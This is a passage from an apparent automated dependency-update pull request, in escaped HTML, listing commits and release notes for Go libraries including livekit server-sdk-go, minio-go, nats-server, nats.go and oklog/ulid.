2.16.2\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/677c01ec5a6dbbe185bd35b0a90a65c41e10eba1\"\u003e\u003ccode\u003e677c01e\u003c/code\u003e\u003c/a\u003e bump version to 2.16.2 (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/885\"\u003e#885\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/e74087ae453e984fe000b7da818dcc77aceaf05f\"\u003e\u003ccode\u003ee74087a\u003c/code\u003e\u003c/a\u003e Update go deps (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/814\"\u003e#814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/a23b81de618a8da34fc5088fd322c0086edb412d\"\u003e\u003ccode\u003ea23b81d\u003c/code\u003e\u003c/a\u003e chore: pin GHA by commit, switch to golangci-lint (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/884\"\u003e#884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/1a80e8d8050bb0be71f7456746eb067666b0a868\"\u003e\u003ccode\u003e1a80e8d\u003c/code\u003e\u003c/a\u003e support byoc for cloud agents (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/875\"\u003e#875\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/36135a79a9659703730f41a1b1ae8b34444211ad\"\u003e\u003ccode\u003e36135a7\u003c/code\u003e\u003c/a\u003e fix bug where projects with \u0026quot;localhost\u0026quot; in the URL are misrouted (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/882\"\u003e#882\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/520301008ec56f34aa43533f9000a4065959e6cf\"\u003e\u003ccode\u003e5203010\u003c/code\u003e\u003c/a\u003e Skip nil backupcodec when unpublishing track (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/883\"\u003e#883\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/5d1134a5dc76195849c90e0b9f2511342fca0f78\"\u003e\u003ccode\u003e5d1134a\u003c/code\u003e\u003c/a\u003e feat(PCMLocalTrack): add option to grab track and hw stats (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/879\"\u003e#879\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/0e768d89e550c5ee757b1ccbae5b93e6be400e99\"\u003e\u003ccode\u003e0e768d8\u003c/code\u003e\u003c/a\u003e Option to provide logger in ConnectOption. (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/876\"\u003e#876\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/dbb96cc2c41664fb333c1e2df512434604b48127\"\u003e\u003ccode\u003edbb96cc\u003c/code\u003e\u003c/a\u003e Add AgentSimulationClient and CreateSourceZip (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/874\"\u003e#874\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/65a5784516d65abf1989aace23804727c2dad5f7\"\u003e\u003ccode\u003e65a5784\u003c/code\u003e\u003c/a\u003e Bumping media-sdk (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/872\"\u003e#872\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/livekit/server-sdk-go/compare/v2.13.3...v2.16.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/minio/minio-go/v7` from 7.0.98 to 7.0.100\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/570a610f8e0206d0bcbd00d521fa9da210f26a1d\"\u003e\u003ccode\u003e570a610\u003c/code\u003e\u003c/a\u003e Add ChecksumAlgorithm to list response (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2211\"\u003e#2211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/9ab4afb052fcdbfa8491336c81e1ffca3772e2ff\"\u003e\u003ccode\u003e9ab4afb\u003c/code\u003e\u003c/a\u003e Update signature of UpdateObjectEncryption (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2215\"\u003e#2215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/30849ad849102d5ea8d18b6ee93127607f46c616\"\u003e\u003ccode\u003e30849ad\u003c/code\u003e\u003c/a\u003e fix: honor StartAfter when listing object versions (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2212\"\u003e#2212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/2eacfe97024cf441b51220f439a7dd1651be9cce\"\u003e\u003ccode\u003e2eacfe9\u003c/code\u003e\u003c/a\u003e add SignV4WithServiceType function (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2214\"\u003e#2214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/dedfa39141e1eb0a0687a2c44a4dab7b6a9deefa\"\u003e\u003ccode\u003ededfa39\u003c/code\u003e\u003c/a\u003e tags: add MarshalJSON/UnmarshalJSON to Tags\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/4976cb36eae896a871612c1c93782a13aa64f8a9\"\u003e\u003ccode\u003e4976cb3\u003c/code\u003e\u003c/a\u003e get content encoding when available (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2208\"\u003e#2208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d75e965f5fca625630ca287613d82b61726cd98c\"\u003e\u003ccode\u003ed75e965\u003c/code\u003e\u003c/a\u003e add S3 Outposts support: Implement request signing and endpoint validation fo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d00bd2f280d84bddcc1a79de3fd67d1be55bcd1e\"\u003e\u003ccode\u003ed00bd2f\u003c/code\u003e\u003c/a\u003e Fix: handling non-DualStack regions gracefully (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2205\"\u003e#2205\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/c44cb2ab494db3a58ca2a07b47f674421c6d9350\"\u003e\u003ccode\u003ec44cb2a\u003c/code\u003e\u003c/a\u003e Fix PutObject and ConcurrentStreamParts error handling for empty stream  (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2207\"\u003e#2207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/14511626b2ee43c227fe09c08064c733b5334809\"\u003e\u003ccode\u003e1451162\u003c/code\u003e\u003c/a\u003e Fix object ReadAt performs seek (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2197\"\u003e#2197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.98...v7.0.100\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.12.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.49.0 to 1.50.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.50.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eRemove status listener in Consume()/Messages() cleanup. Thanks \u003ca href=\"https://github.com/txuna\"\u003e\u003ccode\u003e@​txuna\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/1993\"\u003e#1993\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix race condition in \u003ccode\u003eorderedSubscription.Drain()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eOrderedConsumer.Consume()\u003c/code\u003e race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eDe-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2042\"\u003e#2042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrap EOF/connection reset errors with TLS context after handshake (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2031\"\u003e#2031\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eReject control characters in stream and consumer names (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2038\"\u003e#2038\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing \u003ccode\u003eAccountLimits\u003c/code\u003e fields in \u003ccode\u003ejetstream\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eKeyValue:\n\u003cul\u003e\n\u003cli\u003eDeduplicate keys in KeyValue.Keys() and document ListKeys behavior (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2029\"\u003e#2029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestKeyValueWithSources (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2036\"\u003e#2036\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCHANGED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump go version to 1.25 and update dependencies (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2044\"\u003e#2044\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2039\"\u003e#2039\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.49.0...v1.50.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.49.0...v1.50.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/a76c5a924a065983a028ec64da43670200adb750\"\u003e\u003ccode\u003ea76c5a9\u003c/code\u003e\u003c/a\u003e Release v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2045\"\u003e#2045\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/723972261a68b3f9f080dd91b0bdd0f061d073b5\"\u003e\u003ccode\u003e7239722\u003c/code\u003e\u003c/a\u003e [IMPROVED] Wrap EOF/connection reset errors with TLS context after handshake ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/03c61d7177a9b741675cc4345b5ba408d6c2e1a8\"\u003e\u003ccode\u003e03c61d7\u003c/code\u003e\u003c/a\u003e [FIXED] WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/01214e2890cfc06ee0220c2429663b2e54a9012b\"\u003e\u003ccode\u003e01214e2\u003c/code\u003e\u003c/a\u003e [FIXED] Fixed OrderedConsumer.Consume race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/31953ef9f98a5a45e0cb0829ab3acb8a0baebede\"\u003e\u003ccode\u003e31953ef\u003c/code\u003e\u003c/a\u003e [FIXED] Fix flaky TestKeyValueWithSources test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2036\"\u003e#2036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/a460b81aa6ccb73294a99b4655a0ec32bdb23878\"\u003e\u003ccode\u003ea460b81\u003c/code\u003e\u003c/a\u003e [IMPROVED] De-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1b893152ec8fbfec3318130483b2ccedd71b533f\"\u003e\u003ccode\u003e1b89315\u003c/code\u003e\u003c/a\u003e [FIXED] Fix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/192be1a8d69bc1589a7f14d6a0c16d9c40693da5\"\u003e\u003ccode\u003e192be1a\u003c/code\u003e\u003c/a\u003e [FIXED] Fix race condition in orderedSubscription.Drain() (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7f1bc42bcff932859c7193c70743ab820f2d6569\"\u003e\u003ccode\u003e7f1bc42\u003c/code\u003e\u003c/a\u003e [IMPROVED] Bump dependencies and go version (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2044\"\u003e#2044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b7908eabab7b0d022dc62bcfc71503613f8299dc\"\u003e\u003ccode\u003eb7908ea\u003c/code\u003e\u003c/a\u003e Add missing AccountLimits fields in jetstream package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.49.0...v1.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/oklog/ulid/v2` from 2.1.0 to 2.1.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/oklog/ulid/releases\"\u003egithub.com/oklog/ulid/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eREADME fix broken pkg.go.dev links by \u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eREADME: fix small typos by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fmt, vet, staticcheck to CI and lint accordingly by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/89\"\u003eoklog/ulid#89\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eulid: add MakeFromTime helper function by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/87\"\u003eoklog/ulid#87\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor default entropy and fix test by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/98\"\u003eoklog/ulid#98\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd ulid.Timestamp method by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/107\"\u003eoklog/ulid#107\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/setup-go@v5 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/checkout@v4 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/113\"\u003eoklog/ulid#113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eulid.Nil\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method by \u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca 